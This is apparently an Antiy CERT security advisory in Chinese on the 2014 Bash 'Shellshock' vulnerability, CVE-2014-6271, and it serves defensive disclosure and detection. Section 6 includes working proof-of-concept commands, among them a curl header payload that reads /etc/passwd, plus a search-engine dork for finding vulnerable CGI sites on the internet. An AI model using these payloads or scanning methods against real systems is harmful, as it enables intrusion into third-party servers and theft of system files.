- A+
一、威胁卡片
二、概述
2014年9月24日Bash被公布存在远程代码执行漏洞,安天实验室安全研究与应急处理中心(以下简称:安天CERT)第一时间根据信息研判,确认该漏洞可以产生严重的后果,且分布广泛,于北京时间9月24日早晨5时30分启动了A级风险应急响应。
安天CERT针对该漏洞进行了严格地分析验证,确认该漏洞会影响目前主流的Linux和Mac OSX操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora、Amazon Linux、OS X 10.10等平台。该漏洞可以通过构造环境变量的值来执行想要执行的攻击代码脚本,会影响到与Bash交互的多种应用,包括HTTP、OpenSSH、DHCP等。根据目前的漏洞验证情况以及已经流传的POC情况,这个漏洞将严重影响网络基础设施的安全,包括但不限于网络设备、网络安全设备、云和大数据中心等。特别是Bash广泛地分布和存在于设备中,其消除过程将非常长尾,且易于利用其编写蠕虫进行自动化传播,同时也将导致僵尸网络的发展,目前已有多个境外安全机构发出了警告。
注1:Bash引自维基百科的描述为:"Bash,Unix shell的一种。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac OS X v10.4都将它作为默认shell。它也被移植到Microsoft Windows上的Cygwin与MinGW,或是可以在MS-DOS上使用的DJGPP项目。在Novell NetWare与Android上也有移植。" 注2:A级响应是安天对威胁认定的最高等级,安天针对可能引发大规模网络瘫痪阻塞的蠕虫疫情和严重漏洞,以及可能大面积危害关键信息系统和基础设施安全的严重威胁将启动A级响应。具体响应要求为,无条件中止分析团队现有工作,立即成立分析小组,启动快速分析工作,及时通报相关CERT组织和管理部门;对威胁进行持续跟踪,对分析和响应相关文献,持续更新同步等。这是安天今年第二次启动A级响应,此前一次为心脏出血漏洞,自安天建立威胁响应分级机制以来,曾为口令蠕虫、震荡波、冲击波、SQL Slammer、魔波、熊猫烧香等事件启动A级响应。
三、已知事件发布/披露情况
根据信息检索,本漏洞发现者为法国GNU/LINUX研究者StéphaneChazelas,发现时间为2014年9月中旬,而披露时间为2014年9月24日。
注3:也可到http://ftp.gnu.org/pub/gnu/bash/进行下载。
四、漏洞的影响范围
安天CERT目前已验证在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均拥有存在CVE-2014-6271漏洞的Bash版本,同时由于Bash在各主流操作系统的广泛应用,此漏洞的影响范围包括但不限于大多数应用Bash的Unix、Linux、Mac OS X,而针对这些操作系统管理下的数据均存在高危威胁。漏洞的利用方式会通过与Bash交互的多种应用展开,包括HTTP、OpenSSH、DHCP等。
安天CERT目前抽样验证当前出厂预装的Android操作系统暂不支持ENV命令,可推测针对Android操作系统受到此漏洞影响的可能性较小。
五、漏洞原理
目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。
在补丁中主要进行了参数的合法性过滤,补丁程序在/builtins/evalstring.c的parse_and_execute函数中进行了输入的command进行了合法性的边界检测,将代码注入的可能性排除。在排除中主要用到了flags的两次判断和command的一次类型匹配,为了能够flags判断准确,在补丁中预先定义了SEVAL_FUNCDEF、SEVAL_ONECMD两个标识作为判断依据。此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。
/builtins/common.h
#define SEVAL_FUNCDEF 0x080 /* onlyallow function definitions */ #define SEVAL_ONECMD 0x100 /* onlyallow a single command
*//builtins/evalstring.c if((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning("%s: ignoring function definition attempt", from_file); should_jump_to_top_level= 0; last_result= last_command_exit_value = EX_BADUSAGE; break; }
/builtins/evalstring.c
if (flags & SEVAL_ONECMD) break;
从以上阐述的漏洞原理可知,漏洞的根本原因存在于Bash的ENV命令实现上,因此漏洞本身是不能够直接导致远程代码执行的。如果要达到远程代码执行的目的,必须借助第三方服务程序作为媒介才能够实现,第三方服务程序也必须要满足众多条件才可以充当此媒介的角色。例如,安天CERT已验证第三方服务程序apache2便可充当此媒介,其CGI组件满足远程访问并调用Bash的ENV命令进行访问数据解析功能。具体如何实现,参见图5-1:CVE-2014-6271漏洞实现远程代码执行原理图。
图5‑1CVE-2014-6271漏洞实现远程代码执行原理图
六、漏洞验证方法
目前的Bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的Bash函数传递给子相关进程。一般函数体内的代码不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。安天CERT针对“破壳”漏洞进行了细致的验证,包括本地验证、远程模拟验证、远程真实验证。远程验证以提供开启CGI的httpd服务器进行测试。因为当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量进行处理。除此之外安天CERT还进行了DHCP等利用“破壳”漏洞攻击的模拟与攻击方法验证。
6.1 本地验证方法
在shell中执行下面命令:
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash-c "echo test"
执行命令后,如果显示VulnerableCVE-2014-6271,证明系统存在漏洞,可改变echo VulnerableCVE-2014-6271为任意命令进行执行。
a.Linux Debian操作系统漏洞验证如下:
b.苹果操作系统(OS X 10.10)漏洞验证如下:
6.2 远程验证方法
a.模拟验证方法:此方法适合进行原理验证。
1)Ubuntu下安装及配置apache服务器
安装apache2服务器
#sudoapt-get install apache2
配置apache2服务器
配置文件位于/etc/apache2/sites-enabled/000-default
用vi打开配置文件:
#sudovi/etc/apache2/sites-enabled/000-default
修改其中两句为:
DocumentRoot/var/www/html
ScriptAlias/cgi-bin/ /var/www/html/cgi-bin/
2)编写WEB服务端测试文件
编辑服务端测试文件
#sudovi/var/www/html/cgi-bin/test.sh
#!/bin/bash echo"Content-type: text/html" echo ""
然后重启服务
#sudo/etc/init.d/apache2restart
3)远程测试
测试命令如下:
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a''http://IP地址/cgi-bin/test.sh' -I
命令中可改变a=`/bin/cat/etc/passwd`;echo $a为任意命令进行执行。
b.真实验证方法:此方法适合互联网管理部门进行互联网普查等。
1)以搜索引擎进行可能存在漏洞的网站检索,下面以google检索为例:
检索:inurl:/cgi-bin/ filetype:sh
2)将检索到的url进行提取,然后替换下面的“替换URL”
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a''替换URL' -I
如存在漏洞,便可复现模拟验证方法的结果,借此判断漏洞的范围及危害程度等;如不用搜索引擎,也可以进行构造路径的方式(例如:IP/cgi-bin/update.sh、IP/cgi-bin/admin.sh等),进行连接尝试,但这种方法会耗费大量的资源进行无用连接尝试。
七、漏洞检测方法
您可以应用本地与远程的漏洞验证方法进行脚本、程序或snort规则等的编写与配置,进而进行批量的操作系统平台的检测。当进行HTTP检测时,可以进行Referer、host、UserAgent、header等的头信息字符串“() {”或对应十六进制“\x28\x29\x20\x7b”检测目前已经出现的部分攻击。
我们还在进一步进行攻击的捕获和特征的提取。
注4:此前版本中的检测规则有问题,此版本经网友@TeLeMan指正后完善,参见鸣谢。
八、漏洞可能会带来的影响
1.此漏洞可以绕过ForceCommand在sshd中的配置,从而执行任意命令; 2.如果CGI脚本用Bash编写,则使用mod_cgi或mod_cgid的Apache服务器会受到影响; 3.DHCP客户端调用shell脚本来配置系统,可能存在允许任意命令执行; 4.各种daemon和SUID/privileged的程序都可能执行shell脚本,通过用户设置或影响环境变量值,允许任意命令运行。
九、针对此漏洞的建议
1.按第六节中的漏洞验证方法进行验证判定,如确定存在漏洞,则针对第三节给出的解决方案进行版本更新。 2.更新Bash源码,针对ENV命令实现部分,进行边界检查与参数过滤,严格界定函数定义范围,并做合法化的参数判断。
十、写在最后的啰嗦的话
这是安天CERT今年内第二次做出A级响应,而此前一次是Heart Bleed(心脏出血)。当我们回望安天A级响应的档案,我们看到了很多熟悉的名字:口令蠕虫、震荡波、冲击波……
而在“心脏出血”出现之前的几年时间内,正是威胁高度定向化发展的时代,安天CERT的工作重心转向去分析更为精致、漫长的APT攻击,已经有多年未启动过A级响应。所以当“心脏出血”到来的时候,我们显得那样慌乱。我们已经不习惯被凌晨从睡梦中叫醒,我们突然发现基础环境需要重新搭建。当时我们的感觉是,如同一群在犯罪现场小心取证、捉摸研究的侦探,突然发现全城大火,任务迅速变成全体去参与救火……而对安全分析工程师来说,只要重入火线,就可以唤醒沉睡的敏锐和血性。
安全的难以卡位,亦因为威胁的不可预期。自2004年,DEP、ALSR等技术陆续引入主流系统后,基于远程一击必杀的威胁开始明显减少,而那些未公开出来的0day预计也被作为秘密武器谨慎使用。大规模蠕虫开始减少,不再有更多的恶意代码名称为公众所知,这给了公众一种安全的错觉,也带来了安全愿景的虚妄。对于笃定“可信+主防”就可以打造安全永动机的人们来说,往往都忘记了脚本这个令安全管理者爱恨交织的存在。
安全难以完美,更因为时间并不站在防御者这一边。无论是攻击包一击必杀的闪电战,还是威胁的长期潜伏,都是如此。HeartBleed漏洞在代码中潜伏了3年之久,而“破壳”漏洞则可能已经存在了10年。在这个潜伏期内,其是幸运的在始终沉睡,还是早已成为入室利器,尚不得而知。相关漏洞是开发者的无心之失,还是一次精心设计的代码污染,目前都难以推测了。可以想象的是,一切无法完整复盘的信息安全灾难,都注定会成为阴谋论的脚本。
安全进步缓慢,也在于人们有太多的想当然。“心脏出血”与“破壳”的漏洞都来自开源系统。而太多善良的人们自然的认定,开源的安全由无数代码维护者、审计者和用户保证。而无论是“心脏出血”的Open SSL,还是“破壳”的Bash,尽管或者在很多开发者、编译者的系统中如白驹过隙般的编译通过,但相关漏洞均如白驹过隙,一闪而过。而对于攻击者来说,相关代码却可能得到了长时间的研究与挖掘。泛泛的比较开源与闭源孰更安全是没有意义的,我们只想再次强调,开源并不必然导致安全。
安全难以改善,更在于威胁不断泛化和继承,从PC时代、移动时代、穿戴设备和智能家居时代,易用性、方便性一直在飞速的发展和进步,新设备也开始拥有更高的主频,拥有更为复杂的操作系统。但既有的安全的经验与方法并未得到有效地传递和继承。而代码复用等则把类似“心脏出血”和“破壳”这样的漏洞引入更多的领域纵深,从而带来了更复杂困难的处置长尾。而未来更多异构设备间功能协同、交叉访问、数据共享,则使安全的形势更加复杂、处置更加困难、问题更难定性。
当威胁纷至沓来的时候,我们因应接不暇而心力交瘁的时候,作为一个职业安全工作者,我们则需要提醒自己,不要迷失对安全的信心与信念,但也不要丧失对信息技术发展的期待。安全不是信息技术的全部,我们需要生活在一个快速发展、便利快乐的世界,并为之提供保障。
附录一:鸣谢
在针对“破壳”漏洞的整体分析中,安天CERT获得了大量的支持与帮助:
1.感谢Lenxwei第一时间在微信的信息分享,让我们于凌晨启动了分析响应;
2.感谢CNCERT/CC的指导与反馈;
3.感谢新浪微博网友@TeLeMan,针对网络检测方法给予的指正;
4.感谢兄弟厂商知道创宇、360等的无私互动;
5.感谢XCERT成员杜跃进、黄晟、余弦、大潘、赵粮等的支持。
附录二:关于“破壳”漏洞命名经过
本漏洞被命名为“破壳”源自国内一个基于SNS的松散型CERT组织X-CERT的一次在线讨论。
根据《X-CERT关于“破壳”漏洞的说明》整理:
本漏洞中文名称在9月25日下午经X-CERT讨论命名。具体过程如下,鉴于该漏洞可能带来的严重影响,为了便于加深公众理解,便于媒体传播,X-CERT发起人之一杜跃进博士提出,应为此漏洞起一个中文名字。基于这一漏洞针对操作系统的shell(壳)进行利用。基于Bash的“音译+意译”组合,X-CERT成员黄晟(中油瑞飞)提出了“扒壳”的命名,获得大家称赞,但黄晟自己认为不够“信达雅”,建议继续讨论。在讨论中X-CERT成员肖新光(安天)提出了“破壳”的命名,X-CERT其他成员包括余弦(知道创宇)、赵粮(绿盟)、潘柱廷(启明星辰)、谭晓生(360)、王琦(KEEN)等表示一致支持。遂正式将该漏洞中文名称确定为“破壳”。
附录三:国内兄弟安全团队分析成果参考
[1] 知道创宇:《Bash 3.0-4.3命令执行漏洞分析》
http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/
[2] 知道创宇:《破壳漏洞(ShellShock)应急概要》
http://blog.knownsec.com/2014/09/shellshock_response_profile/
附录四:其他参考链接
[1] 维基百科:Bash
http://zh.wikipedia.org/wiki/Bash
[2] Resolutionfor Bash Code Injection Vulnerability via Specially Crafted EnvironmentVariables (CVE-2014-6271, CVE-2014-7169) in Red Hat Enterprise Linux
https://access.redhat.com/solutions/1207723
[3] [CentOS]Critical update for bash released today By Jim Perrin jperrin
http://lists.centos.org/pipermail/centos/2014-September/146099.html
[4] CVE-2014-6271in Ubuntu (Canonical Ltd.)
http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-6271.html
[5] oss-secmailing list archives
http://seclists.org/oss-sec/2014/q3/650
[6] Bashspecially-crafted environment variables code injection attack
[7] Bashbug as big as HeartbleedBy Robert Graham
http://blog.erratasec.com/2014/09/bash-bug-as-big-as-heartbleed.html#.VCNYnF7WgVl
[8] CVE-2014-6271(Debian)
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫